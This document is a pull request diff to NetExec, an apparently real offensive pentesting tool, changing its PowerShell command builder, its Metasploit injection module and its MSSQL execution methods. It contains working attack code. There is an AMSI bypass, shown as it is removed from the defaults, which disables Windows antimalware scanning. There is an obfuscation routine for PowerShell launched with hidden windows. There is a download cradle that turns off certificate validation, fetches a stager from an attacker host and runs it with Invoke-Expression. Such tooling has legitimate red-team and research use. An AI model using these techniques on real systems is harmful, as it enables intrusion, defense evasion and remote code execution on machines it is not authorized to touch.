Merge pull request Pennyw0rth#296 from Pennyw0rth/marshall-pwsh-update

Refactor/fix/update PowerShell and related features

Author: Marshall-Hallenbeck

nxc/helpers/powershell.py

@@ -12,6 +12,20 @@
 
 obfuscate_ps_scripts = False
 
+def replace_singles(s):
+    """Replaces single quotes with a double quote
+    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
+    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
+
+    Args:
+    ----
+        s (str): The string to replace single quotes in.
+
+    Returns:
+    -------
+        str: Original string with single quotes replaced with double.
+    """
+    return s.replace("'", r"\"")
 
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
 
 
 
-def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
+def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
-
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-
-        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
-
+        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
+        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
+    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
+    
     if custom_amsi:
+        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
-try{
-[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
-}catch{}
-"""
-
-    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
+        amsi_bypass = ""
 
+    # for readability purposes, we do not do a one-liner
+    if force_ps32:  # noqa: SIM108
+        # https://stackoverflow.com/a/60155248
+        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
+    else:
+        command = f"{amsi_bypass} {ps_command}"
+    
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
-    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
-    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
-    # (https://github.com/GreatSCT/GreatSCT) <3
-
-    """
-    if is_powershell_installed():
-
-        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
-                                           suffix='.ps1',
-                                           dir='/tmp')
-        temp.write(command)
-        temp.read()
-
-        encoding_types = [1,2,3,4,5,6]
-        while True:
-            encoding = random.choice(encoding_types)
-            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
-                                                                                                                                              temp.name,
-                                                                                                                                              encoding)
-            nxc_logger.debug(invoke_obfs_command)
-            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
-
-            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
-            nxc_logger.debug('Command length: {}'.format(len(command)))
-
-            if len(command) <= 8192:
-                temp.close()
-                break
-
-            encoding_types.remove(encoding)
-    
-    else:
-    """
-    if not dont_obfs:
+    if obfs:
+        nxc_logger.debug("Obfuscating PowerShell command")
         obfs_attempts = 0
         while True:
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
+            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
+            obfs_command = invoke_obfuscation(command)
+            
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
             if len(command) <= 8191:
                 break
-
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-
+            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
             obfs_attempts += 1
     else:
-        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
+        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
+        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
+        command = f"powershell.exe -noni -nop -w 1 {command}"
+        
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
-
+            
+    nxc_logger.debug(f"Final command: {command}")
     return command
 
 
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
+    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    return choice(invoke_options)
+    obfuscated_script = choice(invoke_options)
+    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
+    return obfuscated_script
 

nxc/modules/met_inject.py

@@ -27,6 +27,8 @@ def options(self, context, module_options):
         SRVPORT     Stager port
         RAND        Random string given by metasploit (if using web_delivery)
         SSL         Stager server use https or http (default: https)
+        
+        This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
 
         multi/handler method that don't require RAND:
             Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,8 +37,11 @@ def options(self, context, module_options):
                 windows/x64/powershell_reverse_tcp_ssl
         Web Delivery Method (exploit/multi/script/web_delivery):
             Set SRVHOST and SRVPORT
+            Set target 2 (PSH)
             Set payload to what you want (windows/meterpreter/reverse_https, etc)
-            after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
+                check compatabile payloads with `show payloads`
+            Optional: SET URIPATH {custom}
+            After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
         """
         self.met_ssl = "https"
 
@@ -53,24 +58,19 @@ def options(self, context, module_options):
         self.srvport = module_options["SRVPORT"]
 
     def on_admin_login(self, context, connection):
-        # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
-        command = """$url="{}://{}:{}/{}"
-        $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
-        $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
-        if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
-        $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
-        $ProcessInfo.FileName=$PowershellExe
-        $ProcessInfo.Arguments="-nop -c $DownloadCradle"
-        $ProcessInfo.UseShellExecute = $False
-        $ProcessInfo.RedirectStandardOutput = $True
-        $ProcessInfo.CreateNoWindow = $True
-        $ProcessInfo.WindowStyle = "Hidden"
-        $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
-            "http" if self.met_ssl == "http" else "https",
-            self.srvhost,
-            self.srvport,
-            self.rand,
-        )
-        context.log.debug(command)
-        connection.ps_execute(command, force_ps32=True)
-        context.log.success("Executed payload")
+        # https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
+        proto = "http" if self.met_ssl == "http" else "https"
+        metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
+        context.log.debug(f"{metasploit_endpoint=}")
+        
+        # use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
+        command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
+        context.log.debug(f"Running command via ps_execute: {command}")
+        
+        output = connection.ps_execute(command)
+        context.log.debug(f"Received output from ps_execute: {output}")
+        
+        if output and "Unable to connect to the remote server" in output:
+            context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
+        else:
+            context.log.success("Executed payload")

nxc/protocols/mssql.py

@@ -2,6 +2,7 @@
 import random
 import socket
 import contextlib
+from io import StringIO
 
 from nxc.config import process_secret
 from nxc.connection import connection
@@ -300,42 +301,54 @@ def mssql_query(self):
 
     @requires_admin
     def execute(self, payload=None, get_output=False):
-        if not payload and self.args.execute:
-            payload = self.args.execute
-
-        if not self.args.no_output:
-            get_output = True
-
-        self.logger.info(f"Command to execute: {payload}")
+        payload = self.args.execute if not payload and self.args.execute else payload
+        if not payload:
+            self.logger.error("No command to execute specified!")
+            return None
+        
+        get_output = True if not self.args.no_output else get_output
+        self.logger.debug(f"{get_output=}")
+        
         try:
             exec_method = MSSQLEXEC(self.conn, self.logger)
-            raw_output = exec_method.execute(payload, get_output)
+            output = exec_method.execute(payload)
+            self.logger.debug(f"Output: {output}")
         except Exception as e:
             self.logger.fail(f"Execute command failed, error: {e!s}")
             return False
         else:
-            self.logger.success("Executed command via mssqlexec")
-            if raw_output:
-                for line in raw_output:
-                    self.logger.highlight(line)
-            return raw_output
+            self.logger.success("Executed command via mssqlexec")   
+            output_lines = StringIO(output).readlines()
+            for line in output_lines:
+                self.logger.highlight(line.strip())
+        return output
 
     @requires_admin
-    def ps_execute(
-        self,
-        payload=None,
-        get_output=False,
-        force_ps32=False,
-        dont_obfs=False,
-    ):
-        if not payload and self.args.ps_execute:
-            payload = self.args.ps_execute
-            if not self.args.no_output:
-                get_output = True
-
-        # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
-        ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
-        return self.execute(ps_command, get_output)
+    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
+        payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
+        if not payload:
+            self.logger.error("No command to execute specified!")
+            return None
+        
+        response = []
+        obfs = obfs if obfs else self.args.obfs
+        encode = encode if encode else not self.args.no_encode
+        force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
+        get_output = True if not self.args.no_output else get_output
+                
+        self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
+        amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
+        self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
+        
+        if os.path.isfile(payload):
+            self.logger.debug(f"File payload set: {payload}")
+            with open(payload) as commands:
+                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
+        else:
+            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
+            
+        self.logger.debug(f"ps_execute response: {response}")
+        return response
 
     @requires_admin
     def put_file(self):